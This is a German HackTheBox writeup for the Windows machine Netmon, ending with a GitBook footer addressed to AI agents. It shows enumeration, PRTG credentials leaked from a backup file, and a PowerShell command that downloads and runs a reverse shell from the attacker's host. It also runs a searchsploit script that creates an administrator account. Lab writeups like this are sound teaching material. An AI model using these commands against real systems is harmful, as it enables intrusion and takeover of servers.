> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md). # Netmon HackTheBox Writeup Writeup zur HackTheBox-Easy-Windows-Maschine Netmon mit Abdeckung von FTP-Enumeration, Informationsleck, Offenlegung von PRTG-Network-Monitor-Anmeldeinformationen, Befehlsausführung über PRTG-Benachrichtigung, mit praktischer Enumeratio {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * FTP-Enumeration * Informationsleck * Offenlegung von Anmeldedaten in PRTG Network Monitor * Befehlsausführung über PRTG-Benachrichtigungen * Bereitstellung einer PowerShell-Reverse-Shell {% endhint %} ## Aufklärung Erstelle den Arbeitsbereich und führe den vollständigen TCP-Scan aus: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.152 -oG allPorts ```
Führe den gezielten Dienst-Scan aus: ```bash nmap -sCV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted ```
## FTP-Enumeration FTP erlaubt anonymen Zugriff.
Die User-Flag ist über FTP im Desktop-Pfad des Benutzers lesbar.
## PRTG Network Monitor Port 80 stellt eine **PRTG Network Monitor** Weboberfläche bereit.
Prüfe das Konfigurationsverzeichnis: ``` ProgramData/Paessler/PRTG Network Monitor/ ```
Die Sicherungskonfigurationsdatei gibt Anmeldedaten preis: ``` PRTG Configuration.old.bak ```
Wiederhergestellte Anmeldedaten: * Benutzername: `prtgadmin` * Passwort: `PrTg@dmin2018`
Da die Datei ein altes Backup ist, teste das aktualisierte Jahr im Passwort. Der Zugriff ist gültig mit: ``` PrTg@dmin2019 ```
## PRTG RCE PRTG-Benachrichtigungen können Befehle auf dem Server ausführen. Verwende ein gehostetes PowerShell-Reverse-Shell-Skript und löse es über eine Benachrichtigungsaktion aus. {% embed url="" %} Lade das PowerShell-Payload herunter und bereite es vor: ```bash wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1 python3 -m http.server 80 ``` Starten Sie einen Listener: ```bash rlwrap nc -nvlp 443 ``` In PRTG gehe zu `Setup > Account Settings > Notifications` und erstelle eine Benachrichtigungsaktion, die das gehostete Skript herunterlädt und ausführt.
Befehlsmuster: {% code overflow="wrap" %} ```powershell abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')" ``` {% endcode %} Wenn der Download-Callback den HTTP-Server erreicht, die Shell aber nicht zurückkehrt, kodiere das PowerShell-Skript als UTF-16LE Base64 und führe es mit aus `-enc`: ```bash iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt ``` ```powershell abc.txt | powershell -enc ``` ## Automatisierter Exploit-Pfad SearchSploit enthält einen PRTG-Exploit, der einen neuen Administratorbenutzer erstellt, wenn ein gültiges authentifiziertes Cookie angegeben wird. ```bash searchsploit -m windows/webapps/46527.sh ``` Führe den Exploit mit der Ziel-URL und dem Session-Cookie aus: {% code overflow="wrap" %} ```bash ./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D" ``` {% endcode %} Der Exploit erstellt: * Benutzername: `pentest` * Passwort: `P3nT3st!`
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/netmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.